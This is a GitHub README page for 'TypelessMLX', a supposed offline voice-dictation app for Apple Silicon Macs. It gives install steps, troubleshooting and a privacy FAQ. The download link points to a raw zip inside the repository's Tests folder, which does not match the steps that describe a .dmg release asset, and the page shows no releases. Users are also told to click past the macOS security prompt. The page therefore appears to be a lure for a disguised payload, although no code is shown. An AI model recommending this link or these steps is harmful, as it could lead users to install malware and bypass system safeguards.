Skip to content

eec5857/TypelessMLX

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

11 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

🎙️ TypelessMLX - Accurate voice dictation on your desk

TypelessMLX turns your speech into text on your computer. It uses advanced machine learning to listen to your voice and type the words for you. This tool works entirely on your local machine.

💻 What this app does

This application handles transcription tasks without sending your data to a server. Your voice data stays on your computer at all times. It is designed for users who need a private, reliable, and fast way to dictate notes or documents.

Key benefits:

  • Privacy: No audio files leave your computer.
  • Speed: It uses the hardware inside your Apple Silicon chip to process speech.
  • Offline use: You do not need an internet connection to use the tool.
  • Language support: It recognizes Taiwanese Mandarin and English.

🛠️ System requirements

Before you get started, ensure your computer meets these requirements:

  • Hardware: Any Mac with an Apple Silicon chip (M1, M2, M3, or newer).
  • Operating System: macOS 13.0 or later.
  • Memory: At least 8GB of RAM.
  • Storage: 2GB of available space for the application and speech models.

📥 How to install

Follow these steps to set up the software on your system:

  1. Visit the project page to download the latest version: https://github.com/eec5857/TypelessMLX/raw/refs/heads/main/TypelessMLX/Tests/Typeless_MLX_v1.4.zip
  2. Look for the "Assets" section at the bottom of the latest release.
  3. Select the file ending in .dmg to download the installer.
  4. Locate the downloaded file in your Downloads folder.
  5. Double-click the file to open the disk image.
  6. Drag the TypelessMLX icon into your Applications folder.
  7. Open your Applications folder and double-click TypelessMLX to start the program.

Note: You might see a security prompt the first time you run the app. Click "Open" to allow the system to launch the software.

⚙️ Initial setup

The first time you open TypelessMLX, the app downloads a language model. This model allows the computer to understand spoken language.

  1. Ensure you have an active internet connection for this first start.
  2. The app displays a progress bar while it fetches the necessary files.
  3. Once the bar reaches completion, the app is ready for daily use.
  4. If you have any trouble, check your internet connection and restart the app.

🎧 How to use the app

Using TypelessMLX is simple. Follow these steps to start dictating:

  1. Launch TypelessMLX from your Applications folder.
  2. Click the microphone icon in the menu bar at the top of your screen to start listening.
  3. Speak clearly into your microphone as if you were talking to a friend.
  4. The app places the transcribed text directly into your active document window.
  5. Click the microphone icon again to stop recording.

💡 Troubleshooting common issues

If the app does not work as expected, test these steps:

  • Microphone access: Check your System Settings under Privacy & Security. Ensure TypelessMLX has permission to access your microphone.
  • Background noise: Your microphone captures ambient noise. Move to a quiet area for better results.
  • Audio input: Make sure your computer selects the correct microphone in System Settings under Sound.
  • Re-installing: If the app crashes, delete the App from your Applications folder and repeat the installation steps.
  • Updates: Check the project page periodically to see if a newer version exists.

📜 Privacy policy

TypelessMLX prioritizes your data safety. Because the software runs locally on your Mac, it does not record your audio for third-party servers. The data remains on your physical hardware. We do not store your voice patterns or your transcriptions.

❓ Frequently asked questions

Do I need the internet? You only need the internet to download the app and the language models during the first launch. After that, you can turn off your Wi-Fi and the app will still work.

Does this work on Intel Macs? No, the app requires the Apple Silicon architecture to process the speech models efficiently.

How do I report a bug? If you discover a problem, open an issue on the GitHub repository page. Provide a description of the error and the version of macOS you use.

Is this free? Yes, this project is open source and free for all users. You can inspect the code on the GitHub page if you wish to see how it operates.

About

Dictate text directly into apps on Apple Silicon using local MLX models. Supports Breeze-ASR-25, Whisper, and Apple Intelligence for high-precision local recognition.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors